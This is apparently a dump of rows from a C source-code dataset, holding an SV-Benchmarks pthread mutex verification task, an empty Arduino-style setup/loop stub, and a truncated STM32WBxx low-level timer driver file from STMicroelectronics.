file
stringlengths 18
26
| data
stringlengths 3
1.04M
|
|---|---|
the_stack_data/765553.c | // This file is part of the SV-Benchmarks collection of verification tasks:
// https://github.com/sosy-lab/sv-benchmarks
//
// SPDX-FileCopyrightText: 2011-2020 The SV-Benchmarks community
// SPDX-FileCopyrightText: 2020 The ESBMC project
//
// SPDX-License-Identifier: Apache-2.0
extern void abort(void);
#include <assert.h>
void reach_error() { assert(0); }
#include <pthread.h>
pthread_mutex_t ma, mb;
int data1, data2;
void * thread1(void * arg)
{
pthread_mutex_lock(&ma);
data1++;
pthread_mutex_unlock(&ma);
pthread_mutex_lock(&ma);
data2++;
pthread_mutex_unlock(&ma);
return 0;
}
void * thread2(void * arg)
{
pthread_mutex_lock(&ma);
data1+=5;
pthread_mutex_unlock(&ma);
pthread_mutex_lock(&ma);
data2-=6;
pthread_mutex_unlock(&ma);
return 0;
}
int main()
{
pthread_t t1, t2;
pthread_mutex_init(&ma, 0);
pthread_mutex_init(&mb, 0);
data1 = 10;
data2 = 10;
pthread_create(&t1, 0, thread1, 0);
pthread_create(&t2, 0, thread2, 0);
pthread_join(t1, 0);
pthread_join(t2, 0);
if (data1!=16 && data2!=5)
{
ERROR: {reach_error();abort();}
;
}
return 0;
}
|
the_stack_data/1255053.c | void setup() {
}
void loop() {
}
int main() {
setup();
while(1) {
loop();
}
return 0;
}
|
the_stack_data/742215.c | /**
******************************************************************************
* @file stm32wbxx_ll_tim.c
* @author MCD Application Team
* @brief TIM LL module driver.
******************************************************************************
* @attention
*
* <h2><center>© Copyright (c) 2019 STMicroelectronics.
* All rights reserved.</center></h2>
*
* This software component is licensed by ST under BSD 3-Clause license,
* the "License"; You may not use this file except in compliance with the
* License. You may obtain a copy of the License at:
* opensource.org/licenses/BSD-3-Clause
*
******************************************************************************
*/
#if defined(USE_FULL_LL_DRIVER)
/* Includes ------------------------------------------------------------------*/
#include "stm32wbxx_ll_tim.h"
#include "stm32wbxx_ll_bus.h"
#ifdef USE_FULL_ASSERT
#include "stm32_assert.h"
#else
#define assert_param(expr) ((void)0U)
#endif /* USE_FULL_ASSERT */
/** @addtogroup STM32WBxx_LL_Driver
* @{
*/
#if defined (TIM1) || defined (TIM2) || defined (TIM16) || defined (TIM7)
/** @addtogroup TIM_LL
* @{
*/
/* Private types -------------------------------------------------------------*/
/* Private variables ---------------------------------------------------------*/
/* Private constants ---------------------------------------------------------*/
/* Private macros ------------------------------------------------------------*/
/** @addtogroup TIM_LL_Private_Macros
* @{
*/
#define IS_LL_TIM_COUNTERMODE(__VALUE__) (((__VALUE__) == LL_TIM_COUNTERMODE_UP) \
|| ((__VALUE__) == LL_TIM_COUNTERMODE_DOWN) \
|| ((__VALUE__) == LL_TIM_COUNTERMODE_CENTER_UP) \
|| ((__VALUE__) == LL_TIM_COUNTERMODE_CENTER_DOWN) \
|| ((__VALUE__) == LL_TIM_COUNTERMODE_CENTER_UP_DOWN))
#define IS_LL_TIM_CLOCKDIVISION(__VALUE__) (((__VALUE__) == LL_TIM_CLOCKDIVISION_DIV1) \
|| ((__VALUE__) == LL_TIM_CLOCKDIVISION_DIV2) \
|| ((__VALUE__) == LL_TIM_CLOCKDIVISION_DIV4))
#define IS_LL_TIM_OCMODE(__VALUE__) (((__VALUE__) == LL_TIM_OCMODE_FROZEN) \
|| ((__VALUE__) == LL_TIM_OCMODE_ACTIVE) \
|| ((__VALUE__) == LL_TIM_OCMODE_INACTIVE) \
|| ((__VALUE__) == LL_TIM_OCMODE_TOGGLE) \
|| ((__VALUE__) == LL_TIM_OCMODE_FORCED_INACTIVE) \
|| ((__VALUE__) == LL_TIM_OCMODE_FORCED_ACTIVE) \
|| ((__VALUE__) == LL_TIM_OCMODE_PWM1) \
|| ((__VALUE__) == LL_TIM_OCMODE_PWM2) \
|| ((__VALUE__) == LL_TIM_OCMODE_RETRIG_OPM1) \
|| ((__VALUE__) == LL_TIM_OCMODE_RETRIG_OPM2) \
|| ((__VALUE__) == LL_TIM_OCMODE_COMBINED_PWM1) \
|| ((__VALUE__) == LL_TIM_OCMODE_COMBINED_PWM2) \
|| ((__VALUE__) == LL_TIM_OCMODE_ASSYMETRIC_PWM1) \
|| ((__VALUE__) == LL_TIM_OCMODE_ASSYMETRIC_PWM2))
#define IS_LL_TIM_OCSTATE(__VALUE__) (((__VALUE__) == LL_TIM_OCSTATE_DISABLE) \
|| ((__VALUE__) == LL_TIM_OCSTATE_ENABLE))
#define IS_LL_TIM_OCPOLARITY(__VALUE__) (((__VALUE__) == LL_TIM_OCPOLARITY_HIGH) \
|| ((__VALUE__) == LL_TIM_OCPOLARITY_LOW))
#define IS_LL_TIM_OCIDLESTATE(__VALUE__) (((__VALUE__) == LL_TIM_OCIDLESTATE_LOW) \
|| ((__VALUE__) == LL_TIM_OCIDLESTATE_HIGH))
#define IS_LL_TIM_ACTIVEINPUT(__VALUE__) (((__VALUE__) == LL_TIM_ACTIVEINPUT_DIRECTTI) \
|| ((__VALUE__) == LL_TIM_ACTIVEINPUT_INDIRECTTI) \
|| ((__VALUE__) == LL_TIM_ACTIVEINPUT_TRC))
#define IS_LL_TIM_ICPSC(__VALUE__) (((__VALUE__) == LL_TIM_ICPSC_DIV1) \
|| ((__VALUE__) == LL_TIM_ICPSC_DIV2) \
|| ((__VALUE__) == LL_TIM_ICPSC_DIV4) \
|| ((__VALUE__) == LL_TIM_ICPSC_DIV8))
#define IS_LL_TIM_IC_FILTER(__VALUE__) (((__VALUE__) == LL_TIM_IC_FILTER_FDIV1) \
|| ((__VALUE__) == LL_TIM_IC_FILTER_FDIV1_N2) \
|| ((__VALUE__) == LL_TIM_IC_FILTER_FDIV1_N4) \
|| ((__VALUE__) == LL_TIM_IC_FILTER_FDIV1_N8) \
|| ((__VALUE__) == LL_TIM_IC_FILTER_FDIV2_N6) \
|| ((__VALUE__) == LL_TIM_IC_FILTER_FDIV2_N8) \
|| ((__VALUE__) == LL_TIM_IC_FILTER_FDIV4_N6) \
|| ((__VALUE__) == LL_TIM_IC_FILTER_FDIV4_N8) \
|| ((__VALUE__) == LL_TIM_IC_FILTER_FDIV8_N6) \
|| ((__VALUE__) == LL_TIM_IC_FILTER_FDIV8_N8) \
|| ((__VALUE__) == LL_TIM_IC_FILTER_FDIV16_N5) \
|| ((__VALUE__) == LL_TIM_IC_FILTER_FDIV16_N6) \
|| ((__VALUE__) == LL_TIM_IC_FILTER_FDIV16_N8) \
|| ((__VALUE__) == LL_TIM_IC_FILTER_FDIV32_N5) \
|| ((__VALUE__) == LL_TIM_IC_FILTER_FDIV32_N6) \
|| ((__VALUE__) == LL_TIM_IC_FILTER_FDIV32_N8))
#define IS_LL_TIM_IC_POLARITY(__VALUE__) (((__VALUE__) == LL_TIM_IC_POLARITY_RISING) \
|| ((__VALUE__) == LL_TIM_IC_POLARITY_FALLING) \
|| ((__VALUE__) == LL_TIM_IC_POLARITY_BOTHEDGE))
#define IS_LL_TIM_ENCODERMODE(__VALUE__) (((__VALUE__) == LL_TIM_ENCODERMODE_X2_TI1) \
|| ((__VALUE__) == LL_TIM_ENCODERMODE_X2_TI2) \
|| ((__VALUE__) == LL_TIM_ENCODERMODE_X4_TI12))
#define IS_LL_TIM_IC_POLARITY_ENCODER(__VALUE__) (((__VALUE__) == LL_TIM_IC_POLARITY_RISING) \
|| ((__VALUE__) == LL_TIM_IC_POLARITY_FALLING))
#define IS_LL_TIM_OSSR_STATE(__VALUE__) (((__VALUE__) == LL_TIM_OSSR_DISABLE) \
|| ((__VALUE__) == LL_TIM_OSSR_ENABLE))
#define IS_LL_TIM_OSSI_STATE(__VALUE__) (((__VALUE__) == LL_TIM_OSSI_DISABLE) \
|| ((__VALUE__) == LL_TIM_OSSI_ENABLE))
#define IS_LL_TIM_LOCK_LEVEL(__VALUE__) (((__VALUE__) == LL_TIM_LOCKLEVEL_OFF) \
|| ((__VALUE__) == LL_TIM_LOCKLEVEL_1) \
|| ((__VALUE__) == LL_TIM_LOCKLEVEL_2) \
|| ((__VALUE__) == LL_TIM_LOCKLEVEL_3))
#define IS_LL_TIM_BREAK_STATE(__VALUE__) (((__VALUE__) == LL_TIM_BREAK_DISABLE) \
|| ((__VALUE__) == LL_TIM_BREAK_ENABLE))
#define IS_LL_TIM_BREAK_POLARITY(__VALUE__) (((__VALUE__) == LL_TIM_BREAK_POLARITY_LOW) \
|| ((__VALUE__) == LL_TIM_BREAK_POLARITY_HIGH))
#define IS_LL_TIM_BREAK_FILTER(__VALUE__) (((__VALUE__) == LL_TIM_BREAK_FILTER_FDIV1) \
|| ((__VALUE__) == LL_TIM_BREAK_FILTER_FDIV1_N2) \
|| ((__VALUE__) == LL_TIM_BREAK_FILTER_FDIV1_N4) \
|| ((__VALUE__) == LL_TIM_BREAK_FILTER_FDIV1_N8) \
|| ((__VALUE__) == LL_TIM_BREAK_FILTER_FDIV2_N6) \
|| ((__VALUE__) == LL_TIM_BREAK_FILTER_FDIV2_N8) \
|| ((__VALUE__) == LL_TIM_BREAK_FILTER_FDIV4_N6) \
|| ((__VALUE__) == LL_TIM_BREAK_FILTER_FDIV4_N8) \
|| ((__VALUE__) == LL_TIM_BREAK_FILTER_FDIV8_N6) \
|| ((__VALUE__) == LL_TIM_BREAK_FILTER_FDIV8_N8) \
|| ((__VALUE__) == LL_TIM_BREAK_FILTER_FDIV16_N5) \
|| ((__VALUE__) == LL_TIM_BREAK_FILTER_FDIV16_N6) \
|| ((__VALUE__) == LL_TIM_BREAK_FILTER_FDIV16_N8) \
|| ((__VALUE__) == LL_TIM_BREAK_FILTER_FDIV32_N5) \
|| ((__VALUE__) == LL_TIM_BREAK_FILTER_FDIV32_N6) \
|| ((__VALUE__) == LL_TIM_BREAK_FILTER_FDIV32_N8))
#define IS_LL_TIM_BREAK2_STATE(__VALUE__) (((__VALUE__) == LL_TIM_BREAK2_DISABLE) \
|| ((__VALUE__) == LL_TIM_BREAK2_ENABLE))
#define IS_LL_TIM_BREAK2_POLARITY(__VALUE__) (((__VALUE__) == LL_TIM_BREAK2_POLARITY_LOW) \
|| ((__VALUE__) == LL_TIM_BREAK2_POLARITY_HIGH))
#define IS_LL_TIM_BREAK2_FILTER(__VALUE__) (((__VALUE__) == LL_TIM_BREAK2_FILTER_FDIV1) \
|| ((__VALUE__) == LL_TIM_BREAK2_FILTER_FDIV1_N2) \
|| ((__VALUE__) == LL_TIM_BREAK2_FILTER_FDIV1_N4) \
|| ((__VALUE__) == LL_TIM_BREAK2_FILTER_FDIV1_N8) \
|| ((__VALUE__) == LL_TIM_BREAK2_FILTER_FDIV2_N6) \
|| ((__VALUE__) == LL_TIM_BREAK2_FILTER_FDIV2_N8) \
|| ((__VALUE__) == LL_TIM_BREAK2_FILTER_FDIV4_N6) \
|| ((__VALUE__) == LL_TIM_BREAK2_FILTER_FDIV4_N8) \
|| ((__VALUE__) == LL_TIM_BREAK2_FILTER_FDIV8_N6) \
|| ((__VALUE__) == LL_TIM_BREAK2_FILTER_FDIV8_N8) \
|| ((__VALUE__) == LL_TIM_BREAK2_FILTER_FDIV16_N5) \
|| ((__VALUE__) == LL_TIM_BREAK2_FILTER_FDIV16_N6) \
|| ((__VALUE__) == LL_TIM_BREAK2_FILTER_FDIV16_N8) \
|| ((__VALUE__) == LL_TIM_BREAK2_FILTER_FDIV32_N5) \
|| ((__VALUE__) == LL_TIM_BREAK2_FILTER_FDIV32_N6) \
|| ((__VALUE__) == LL_TIM_BREAK2_FILTER_FDIV32_N8))
#define IS_LL_TIM_AUTOMATIC_OUTPUT_STATE(__VALUE__) (((__VALUE__) == LL_TIM_AUTOMATICOUTPUT_DISABLE) \
|| ((__VALUE__) == LL_TIM_AUTOMATICOUTPUT_ENABLE))
/**
* @}
*/
/* Private function prototypes -----------------------------------------------*/
/** @defgroup TIM_LL_Private_Functions TIM Private Functions
* @{
*/
static ErrorStatus OC1Config(TIM_TypeDef *TIMx, LL_TIM_OC_InitTypeDef *TIM_OCInitStruct);
static ErrorStatus OC2Config(TIM_TypeDef *TIMx, LL_TIM_OC_InitTypeDef *TIM_OCInitStruct);
static ErrorStatus OC3Config(TIM_TypeDef *TIMx, LL_TIM_OC_InitTypeDef *TIM_OCInitStruct);
static ErrorStatus OC4Config(TIM_TypeDef *TIMx, LL_TIM_OC_InitTypeDef *TIM_OCInitStruct);
static ErrorStatus OC5Config(TIM_TypeDef *TIMx, LL_TIM_OC_InitTypeDef *TIM_OCInitStruct);
static ErrorStatus OC6Config(TIM_TypeDef *TIMx, LL_TIM_OC_InitTypeDef *TIM_OCInitStruct);
static ErrorStatus IC1Config(TIM_TypeDef *TIMx, LL_TIM_IC_InitTypeDef *TIM_ICInitStruct);
static ErrorStatus IC2Config(TIM_TypeDef *TIMx, LL_TIM_IC_InitTypeDef *TIM_ICInitStruct);
static ErrorStatus IC3Config(TIM_TypeDef *TIMx, LL_TIM_IC_InitTypeDef *TIM_ICInitStruct);
static ErrorStatus IC4Config(TIM_TypeDef *TIMx, LL_TIM_IC_InitTypeDef *TIM_ICInitStruct);
/**
* @}
*/
/* Exported functions --------------------------------------------------------*/
/** @addtogroup TIM_LL_Exported_Functions
* @{
*/
/** @addtogroup TIM_LL_EF_Init
* @{
*/
/**
* @brief Set TIMx registers to their reset values.
* @param TIMx Timer instance
* @retval An ErrorStatus enumeration value:
* - SUCCESS: TIMx registers are de-initialized
* - ERROR: invalid TIMx instance
*/
ErrorStatus LL_TIM_DeInit(TIM_TypeDef *TIMx)
{
ErrorStatus result = SUCCESS;
/* Check the parameters */
assert_param(IS_TIM_INSTANCE(TIMx));
if (TIMx == TIM1)
{
LL_APB2_GRP1_ForceReset(LL_APB2_GRP1_PERIPH_TIM1);
LL_APB2_GRP1_ReleaseReset(LL_APB2_GRP1_PERIPH_TIM1);
}
else if (TIMx == TIM2)
{
LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_TIM2);
LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_TIM2);
}
else if (TIMx == TIM16)
{
LL_APB2_GRP1_ForceReset(LL_APB2_GRP1_PERIPH_TIM16);
LL_APB2_GRP1_ReleaseReset(LL_APB2_GRP1_PERIPH_TIM16);
}
else if (TIMx == TIM17)
{
LL_APB2_GRP1_ForceReset(LL_APB2_GRP1_PERIPH_TIM17);
LL_APB2_GRP1_ReleaseReset(LL_APB2_GRP1_PERIPH_TIM17);
}
else
{
result = ERROR;
}
return result;
}
/**
* @brief Set the fields of the time base unit configuration data structure
* to their default values.
* @param TIM_InitStruct pointer to a @ref LL_TIM_InitTypeDef structure (time base unit configuration data structure)
* @retval None
*/
void LL_TIM_StructInit(LL_TIM_InitTypeDef *TIM_InitStruct)
{
/* Set the default configuration */
TIM_InitStruct->Prescaler = (uint16_t)0x0000;
TIM_InitStruct->CounterMode = LL_TIM_COUNTERMODE_UP;
TIM_InitStruct->Autoreload = 0xFFFFFFFFU;
TIM_InitStruct->ClockDivision = LL_TIM_CLOCKDIVISION_DIV1;
TIM_InitStruct->RepetitionCounter = 0x00000000U;
}
/**
* @brief Configure the TIMx time base unit.
* @param TIMx Timer Instance
* @param TIM_InitStruct pointer to a @ref LL_TIM_InitTypeDef structure (TIMx time base unit configuration data structure)
* @retval An ErrorStatus enumeration value:
* - SUCCESS: TIMx registers are de-initialized
* - ERROR: not applicable
*/
ErrorStatus LL_TIM_Init(TIM_TypeDef *TIMx, LL_TIM_InitTypeDef *TIM_InitStruct)
{
uint32_t tmpcr1;
/* Check the parameters */
assert_param(IS_TIM_INSTANCE(TIMx));
assert_param(IS_LL_TIM_COUNTERMODE(TIM_InitStruct->CounterMode));
assert_param(IS_LL_TIM_CLOCKDIVISION(TIM_InitStruct->ClockDivision));
tmpcr1 = LL_TIM_ReadReg(TIMx, CR1);
if (IS_TIM_COUNTER_MODE_SELECT_INSTANCE(TIMx))
{
/* Select the Counter Mode */
MODIFY_REG(tmpcr1, (TIM_CR1_DIR | TIM_CR1_CMS), TIM_InitStruct->CounterMode);
}
if (IS_TIM_CLOCK_DIVISION_INSTANCE(TIMx))
{
/* Set the clock division */
MODIFY_REG(tmpcr1, TIM_CR1_CKD, TIM_InitStruct->ClockDivision);
}
/* Write to TIMx CR1 */
LL_TIM_WriteReg(TIMx, CR1, tmpcr1);
/* Set the Autoreload value */
LL_TIM_SetAutoReload(TIMx, TIM_InitStruct->Autoreload);
/* Set the Prescaler value */
LL_TIM_SetPrescaler(TIMx, TIM_InitStruct->Prescaler);
if (IS_TIM_REPETITION_COUNTER_INSTANCE(TIMx))
{
/* Set the Repetition Counter value */
LL_TIM_SetRepetitionCounter(TIMx, TIM_InitStruct->RepetitionCounter);
}
/* Generate an update event to reload the Prescaler
and the repetition counter value (if applicable) immediately */
LL_TIM_GenerateEvent_UPDATE(TIMx);
return SUCCESS;
}
/**
* @brief Set the fields of the TIMx output channel configuration data
* structure to their default values.
* @param TIM_OC_InitStruct pointer to a @ref LL_TIM_OC_InitTypeDef structure (the output channel configuration data structure)
* @retval None
*/
void LL_TIM_OC_StructInit(LL_TIM_OC_InitTypeDef *TIM_OC_InitStruct)
{
/* Set the default configuration */
TIM_OC_InitStruct->OCMode = LL_TIM_OCMODE_FROZEN;
TIM_OC_InitStruct->OCState = LL_TIM_OCSTATE_DISABLE;
TIM_OC_InitStruct->OCNState = LL_TIM_OCSTATE_DISABLE;
TIM_OC_InitStruct->CompareValue = 0x00000000U;
TIM_OC_InitStruct->OCPolarity = LL_TIM_OCPOLARITY_HIGH;
TIM_OC_InitStruct->OCNPolarity = LL_TIM_OCPOLARITY_HIGH;
TIM_OC_InitStruct->OCIdleState = LL_TIM_OCIDLESTATE_LOW;
TIM_OC_InitStruct->OCNIdleState = LL_TIM_OCIDLESTATE_LOW;
}
/**
* @brief Configure the TIMx output channel.
* @param TIMx Timer Instance
* @param Channel This parameter can be one of the following values:
* @arg @ref LL_TIM_CHANNEL_CH1
* @arg @ref LL_TIM_CHANNEL_CH2
* @arg @ref LL_TIM_CHANNEL_CH3
* @arg @ref LL_TIM_CHANNEL_CH4
* @arg @ref LL_TIM_CHANNEL_CH5
* @arg @ref LL_TIM_CHANNEL_CH6
* @param TIM_OC_InitStruct pointer to a @ref LL_TIM_OC_InitTypeDef structure (TIMx output channel configuration data structure)
* @retval An ErrorStatus enumeration value:
* - SUCCESS: TIMx output channel is initialized
* - ERROR: TIMx output channel is not initialized
*/
ErrorStatus LL_TIM_OC_Init(TIM_TypeDef *TIMx, uint32_t Channel, LL_TIM_OC_InitTypeDef *TIM_OC_InitStruct)
{
ErrorStatus result = ERROR;
switch (Channel)
{
case LL_TIM_CHANNEL_CH1:
result = OC1Config(TIMx, TIM_OC_InitStruct);
break;
case LL_TIM_CHANNEL_CH2:
result = OC2Config(TIMx, TIM_OC_InitStruct);
break;
case LL_TIM_CHANNEL_CH3:
result = OC3Config(TIMx, TIM_OC_InitStruct);
break;
case LL_TIM_CHANNEL_CH4:
result = OC4Config(TIMx, TIM_OC_InitStruct);
break;
case LL_TIM_CHANNEL_CH5:
result = OC5Config(TIMx, TIM_OC_InitStruct);
break;
case LL_TIM_CHANNEL_CH6:
result = OC6Config(TIMx, TIM_OC_InitStruct);
break;
default:
break;
}
return result;
}
/**
* @brief Set the fields of the TIMx input channel configuration data
* structure to their default values.
* @param TIM_ICInitStruct pointer to a @ref LL_TIM_IC_InitTypeDef structure (the input channel configuration data structure)
* @retval None
*/
void LL_TIM_IC_StructInit(LL_TIM_IC_InitTypeDef *TIM_ICInitStruct)
{
/* Set the default configuration */
TIM_ICInitStruct->ICPolarity = LL_TIM_IC_POLARITY_RISING;
TIM_ICInitStruct->ICActiveInput = LL_TIM_ACTIVEINPUT_DIRECTTI;
TIM_ICInitStruct->ICPrescaler = LL_TIM_ICPSC_DIV1;
TIM_ICInitStruct->ICFilter = LL_TIM_IC_FILTER_FDIV1;
}
/**
* @brief Configure the TIMx input channel.
* @param TIMx Timer Instance
* @param Channel This parameter can be one of the following values:
* @arg @ref LL_TIM_CHANNEL_CH1
* @arg @ref LL_TIM_CHANNEL_CH2
* @arg @ref LL_TIM_CHANNEL_CH3
* @arg @ref LL_TIM_CHANNEL_CH4
* @param TIM_IC_InitStruct pointer to a @ref LL_TIM_IC_InitTypeDef structure (TIMx input channel configuration data structure)
* @retval An ErrorStatus enumeration value:
* - SUCCESS: TIMx output channel is initialized
* - ERROR: TIMx output channel is not initialized
*/
ErrorStatus LL_TIM_IC_Init(TIM_TypeDef *TIMx, uint32_t Channel, LL_TIM_IC_InitTypeDef *TIM_IC_InitStruct)
{
ErrorStatus result = ERROR;
switch (Channel)
{
case LL_TIM_CHANNEL_CH1:
result = IC1Config(TIMx, TIM_IC_InitStruct);
break;
case LL_TIM_CHANNEL_CH2:
result = IC2Config(TIMx, TIM_IC_InitStruct);
break;
case LL_TIM_CHANNEL_CH3:
result = IC3Config(TIMx, TIM_IC_InitStruct);
break;
case LL_TIM_CHANNEL_CH4:
result = IC4Config(TIMx, TIM_IC_InitStruct);
break;
default:
break;
}
return result;
}
/**
* @brief Fills each TIM_EncoderInitStruct field with its default value
* @param TIM_EncoderInitStruct pointer to a @ref LL_TIM_ENCODER_InitTypeDef structure (encoder interface configuration data structure)
* @retval None
*/
void LL_TIM_ENCODER_StructInit(LL_TIM_ENCODER_InitTypeDef *TIM_EncoderInitStruct)
{
/* Set the default configuration */
TIM_EncoderInitStruct->EncoderMode = LL_TIM_ENCODERMODE_X2_TI1;
TIM_EncoderInitStruct->IC1Polarity = LL_TIM_IC_POLARITY_RISING;
TIM_EncoderInitStruct->IC1ActiveInput = LL_TIM_ACTIVEINPUT_DIRECTTI;
TIM_EncoderInitStruct->IC1Prescaler = LL_TIM_ICPSC_DIV1;
TIM_EncoderInitStruct->IC1Filter = LL_TIM_IC_FILTER_FDIV1;
TIM_EncoderInitStruct->IC2Polarity = LL_TIM_IC_POLARITY_RISING;
TIM_EncoderInitStruct->IC2ActiveInput = LL_TIM_ACTIVEINPUT_DIRECTTI;
TIM_EncoderInitStruct->IC2Prescaler = LL_TIM_ICPSC_DIV1;
TIM_EncoderInitStruct->IC2Filter = LL_TIM_IC_FILTER_FDIV1;
}
/**
* @brief Configure the encoder interface of the timer instance.
* @param TIMx Timer Instance
* @param TIM_EncoderInitStruct pointer to a @ref LL_TIM_ENCODER_InitTypeDef structure (TIMx encoder interface configuration data structure)
* @retval An ErrorStatus enumeration value:
* - SUCCESS: TIMx registers are de-initialized
* - ERROR: not applicable
*/
ErrorStatus LL_TIM_ENCODER_Init(TIM_TypeDef *TIMx, LL_TIM_ENCODER_InitTypeDef *TIM_EncoderInitStruct)
{
uint32_t tmpccmr1;
uint32_t tmpccer;
/* Check the parameters */
assert_param(IS_TIM_ENCODER_INTERFACE_INSTANCE(TIMx));
assert_param(IS_LL_TIM_ENCODERMODE(TIM_EncoderInitStruct->EncoderMode));
assert_param(IS_LL_TIM_IC_POLARITY_ENCODER(TIM_EncoderInitStruct->IC1Polarity));
assert_param(IS_LL_TIM_ACTIVEINPUT(TIM_EncoderInitStruct->IC1ActiveInput));
assert_param(IS_LL_TIM_ICPSC(TIM_EncoderInitStruct->IC1Prescaler));
assert_param(IS_LL_TIM_IC_FILTER(TIM_EncoderInitStruct->IC1Filter));
assert_param(IS_LL_TIM_IC_POLARITY_ENCODER(TIM_EncoderInitStruct->IC2Polarity));
assert_param(IS_LL_TIM_ACTIVEINPUT(TIM_EncoderInitStruct->IC2ActiveInput));
assert_param(IS_LL_TIM_ICPSC(TIM_EncoderInitStruct->IC2Prescaler));
assert_param(IS_LL_TIM_IC_FILTER(TIM_EncoderInitStruct->IC2Filter));
/* Disable the CC1 and CC2: Reset the CC1E and CC2E Bits */
TIMx->CCER &= (uint32_t)~(TIM_CCER_CC1E | TIM_CCER_CC2E);
/* Get the TIMx CCMR1 register value */
tmpccmr1 = LL_TIM_ReadReg(TIMx, CCMR1);
/* Get the TIMx CCER register value */
tmpccer = LL_TIM_ReadReg(TIMx, CCER);
/* Configure TI1 */
tmpccmr1 &= (uint32_t)~(TIM_CCMR1_CC1S | TIM_CCMR1_IC1F | TIM_CCMR1_IC1PSC);
tmpccmr1 |= (uint32_t)(TIM_EncoderInitStruct->IC1ActiveInput >> 16U);
tmpccmr1 |= (uint32_t)(TIM_EncoderInitStruct->IC1Filter >> 16U);
tmpccmr1 |= (uint32_t)(TIM_EncoderInitStruct->IC1Prescaler >> 16U);
/* Configure TI2 */
tmpccmr1 &= (uint32_t)~(TIM_CCMR1_CC2S | TIM_CCMR1_IC2F | TIM_CCMR1_IC2PSC);
tmpccmr1 |= (uint32_t)(TIM_EncoderInitStruct->IC2ActiveInput >> 8U);
tmpccmr1 |= (uint32_t)(TIM_EncoderInitStruct->IC2Filter >> 8U);
tmpccmr1 |= (uint32_t)(TIM_EncoderInitStruct->IC2Prescaler >> 8U);
/* Set TI1 and TI2 polarity and enable TI1 and TI2 */
tmpccer &= (uint32_t)~(TIM_CCER_CC1P | TIM_CCER_CC1NP | TIM_CCER_CC2P | TIM_CCER_CC2NP);
tmpccer |= (uint32_t)(TIM_EncoderInitStruct->IC1Polarity);
tmpccer |= (uint32_t)(TIM_EncoderInitStruct->IC2Polarity << 4U);
tmpccer |= (uint32_t)(TIM_CCER_CC1E | TIM_CCER_CC2E);
/* Set encoder mode */
LL_TIM_SetEncoderMode(TIMx, TIM_EncoderInitStruct->EncoderMode);
/* Write to TIMx CCMR1 */
LL_TIM_WriteReg(TIMx, CCMR1, tmpccmr1);
/* Write to TIMx CCER */
LL_TIM_WriteReg(TIMx, CCER, tmpccer);
return SUCCESS;
}
/**
* @brief Set the fields of the TIMx Hall sensor interface configuration data
* structure to their default values.
* @param TIM_HallSensorInitStruct pointer to a @ref LL_TIM_HALLSENSOR_InitTypeDef structure (HALL sensor interface configuration data structure)
* @retval None
*/
void LL_TIM_HALLSENSOR_StructInit(LL_TIM_HALLSENSOR_InitTypeDef *TIM_HallSensorInitStruct)
{
/* Set the default configuration */
TIM_HallSensorInitStruct->IC1Polarity = LL_TIM_IC_POLARITY_RISING;
TIM_HallSensorInitStruct->IC1Prescaler = LL_TIM_ICPSC_DIV1;
TIM_HallSensorInitStruct->IC1Filter = LL_TIM_IC_FILTER_FDIV1;
TIM_HallSensorInitStruct->CommutationDelay = 0U;
}
/**
* @brief Configure the Hall sensor interface of the timer instance.
* @note TIMx CH1, CH2 and CH3 inputs connected through a XOR
* to the TI1 input channel
* @note TIMx slave mode controller is configured in reset mode.
Selected internal trigger is TI1F_ED.
* @note Channel 1 is configured as input, IC1 is mapped on TRC.
* @note Captured value stored in TIMx_CCR1 correspond to the time elapsed
* between 2 changes on the inputs. It gives information about motor speed.
* @note Channel 2 is configured in output PWM 2 mode.
* @note Compare value stored in TIMx_CCR2 corresponds to the commutation delay.
* @note OC2REF is selected as trigger output on TRGO.
* @note LL_TIM_IC_POLARITY_BOTHEDGE must not be used for TI1 when it is used
* when TIMx operates in Hall sensor interface mode.
* @param TIMx Timer Instance
* @param TIM_HallSensorInitStruct pointer to a @ref LL_TIM_HALLSENSOR_InitTypeDef structure (TIMx HALL sensor interface configuration data structure)
* @retval An ErrorStatus enumeration value:
* - SUCCESS: TIMx registers are de-initialized
* - ERROR: not applicable
*/
ErrorStatus LL_TIM_HALLSENSOR_Init(TIM_TypeDef *TIMx, LL_TIM_HALLSENSOR_InitTypeDef *TIM_HallSensorInitStruct)
{
uint32_t tmpcr2;
uint32_t tmpccmr1;
uint32_t tmpccer;
uint32_t tmpsmcr;
/* Check the parameters */
assert_param(IS_TIM_HALL_SENSOR_INTERFACE_INSTANCE(TIMx));
assert_param(IS_LL_TIM_IC_POLARITY_ENCODER(TIM_HallSensorInitStruct->IC1Polarity));
assert_param(IS_LL_TIM_ICPSC(TIM_HallSensorInitStruct->IC1Prescaler));
assert_param(IS_LL_TIM_IC_FILTER(TIM_HallSensorInitStruct->IC1Filter));
/* Disable the CC1 and CC2: Reset the CC1E and CC2E Bits */
TIMx->CCER &= (uint32_t)~(TIM_CCER_CC1E | TIM_CCER_CC2E);
/* Get the TIMx CR2 register value */
tmpcr2 = LL_TIM_ReadReg(TIMx, CR2);
/* Get the TIMx CCMR1 register value */
tmpccmr1 = LL_TIM_ReadReg(TIMx, CCMR1);
/* Get the TIMx CCER register value */
tmpccer = LL_TIM_ReadReg(TIMx, CCER);
/* Get the TIMx SMCR register value */
tmpsmcr = LL_TIM_ReadReg(TIMx, SMCR);
/* Connect TIMx_CH1, CH2 and CH3 pins to the TI1 input */
tmpcr2 |= TIM_CR2_TI1S;
/* OC2REF signal is used as trigger output (TRGO) */
tmpcr2 |= LL_TIM_TRGO_OC2REF;
/* Configure the slave mode controller */
tmpsmcr &= (uint32_t)~(TIM_SMCR_TS | TIM_SMCR_SMS);
tmpsmcr |= LL_TIM_TS_TI1F_ED;
tmpsmcr |= LL_TIM_SLAVEMODE_RESET;
/* Configure input channel 1 */
tmpccmr1 &= (uint32_t)~(TIM_CCMR1_CC1S | TIM_CCMR1_IC1F | TIM_CCMR1_IC1PSC);
tmpccmr1 |= (uint32_t)(LL_TIM_ACTIVEINPUT_TRC >> 16U);
tmpccmr1 |= (uint32_t)(TIM_HallSensorInitStruct->IC1Filter >> 16U);
tmpccmr1 |= (uint32_t)(TIM_HallSensorInitStruct->IC1Prescaler >> 16U);
/* Configure input channel 2 */
tmpccmr1 &= (uint32_t)~(TIM_CCMR1_OC2M | TIM_CCMR1_OC2FE | TIM_CCMR1_OC2PE | TIM_CCMR1_OC2CE);
tmpccmr1 |= (uint32_t)(LL_TIM_OCMODE_PWM2 << 8U);
/* Set Channel 1 polarity and enable Channel 1 and Channel2 */
